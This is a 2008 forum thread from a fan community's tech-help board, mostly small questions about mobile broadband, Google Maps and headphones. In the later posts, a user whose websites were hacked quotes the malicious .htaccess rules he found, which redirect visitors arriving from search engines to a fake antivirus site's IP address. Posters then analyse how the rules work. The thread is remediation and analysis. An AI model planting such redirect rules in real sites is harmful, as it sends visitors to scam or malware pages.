I hate to break it to you, oh impotent one, but you're not the big bad anymore, you're not even the kind of naughty.

Xander ,'Showtime'


Buffistechnology 3: "Press Some Buttons, See What Happens."

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meara - Nov 14, 2008 9:04:48 am PST #8075 of 25501

....I have no idea if there is a data cap. I am usually just on the internet, not downloading things, so I don't know what sort of speeds I see, but it's definitely slower than regular wifi at home on my cable modem, but not by a ton. Mostly that's noticeable the few times I am downloading something from email like a PDF or something--it takes a few extra seconds. With a powerpoint presentation I had to download the other day, it definitely took a bit longer. On a site like buffistas, I don't generally notice at all.

When I'm using it, I do use it all day long, but only, again, for Outlook and the internet, and that's usually maybe 8-10 days a month.

I haven't hit any roaming charges, but like I said, I've only been in big cities (LA, Portland, Vegas), so only places where they have service. I was under the impression it just didn't work in some places, I didn't know if it roamed.


§ ita § - Nov 14, 2008 9:50:52 am PST #8076 of 25501
Well not canonically, no, but this is transformative fiction.

Is there a way at maps.google.com to add more than one marker to a map without going so far as directions?


dcp - Nov 14, 2008 12:28:34 pm PST #8077 of 25501
The more I learn, the more I realize how little I know.

Click on "My Maps" instead of "Get Directions," then create and save a map, then save locations to it.


§ ita § - Nov 14, 2008 12:45:10 pm PST #8078 of 25501
Well not canonically, no, but this is transformative fiction.

Thanks!


Tom Scola - Nov 14, 2008 1:23:38 pm PST #8079 of 25501
Remember that the frontier of the Rebellion is everywhere. And even the smallest act of insurrection pushes our lines forward.

On my new MacBook Pro, I can't get audio on the headphone jack. I go to System Preferences -> Sound -> Output, and it only lists the internal speakers, and not the headphones.

I feel stupid. What obvious thing am I missing?

[EDIT: I just wasn't pushing the headphone jack in far enough. I feel even more stupid now]


Jon B. - Nov 15, 2008 4:53:08 pm PST #8080 of 25501
A turkey in every toilet -- only in America!

My websites were hacked. .htaccess files were added that read:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* ht tp://89.28.13.202/in.html?s=ix [R,L]

The way I discovered this is that certain form POST operations would be redirected to a fake antivirus website. I've removed the .htaccess files and changed my passwords, but I've got a couple questions:

1) Could someone have hacked in without the password? I'm pretty sure the permissions were set to 644. Seems like if they had the password, way more damage would have been done.

2) What are the redirects doing? The last one is the IP address of the fake antivirus site, but what's with all the lines before that? And what do the letters in square brackets mean?

t edit I put a space in the http of the last line to prevent the buffista autolinkafication


Jon B. - Nov 15, 2008 5:05:45 pm PST #8081 of 25501
A turkey in every toilet -- only in America!

OK, did a little research and I *think* it's checking to see if the referring URL is from any of those six websites. If it is, it redirects to 89.28.13.202.

So why would it redirect users after certain POSTing of forms?


amych - Nov 15, 2008 5:11:10 pm PST #8082 of 25501
Now let us crush something soft and watch it fountain blood. That is a girlish thing to want to do, yes?

OK, did a little research and I *think* it's checking to see if the referring URL is from any of those six websites. If it is, it redirects to 89.28.13.202.

I was just doing the same research (I don't speak mod_rewrite fluently) and came to the same conclusion.

Dunno about the POST issue, though.


Jon B. - Nov 15, 2008 5:26:31 pm PST #8083 of 25501
A turkey in every toilet -- only in America!

It's a good thing it *did* redirect after those POSTS, or I might not have noticed for a good while!


Jon B. - Nov 15, 2008 5:38:05 pm PST #8084 of 25501
A turkey in every toilet -- only in America!

Got it! The referring URL has a parameter task=whatever, e.g. ht tp://mysite.com?task=edit

The condition in the fifth line is matching "ask".

Still need to figure out how they hacked the .htaccess files, but at least the smaller mystery is solved.